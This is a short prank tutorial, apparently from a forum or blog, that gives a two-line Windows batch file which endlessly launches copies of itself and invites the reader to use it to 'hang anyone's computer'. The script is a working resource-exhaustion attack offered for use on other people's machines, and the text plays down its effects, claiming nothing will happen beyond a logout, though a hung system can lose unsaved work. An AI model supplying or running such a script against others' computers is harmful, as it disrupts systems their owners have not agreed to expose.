Easiest way to hang anyone's computer with multiple window trick.

open a notepad

paste the following text

start a.bat

a.bat 

save the file as a.bat !!

Go to the location where you have saved the file. Open the file. Your system gets hanged, LOL

Try this on your system and see the magic..Dont worry nothing will happen to your computer...JUST LOGOUT and everything will be fine as before..

After you try this tell us what happened...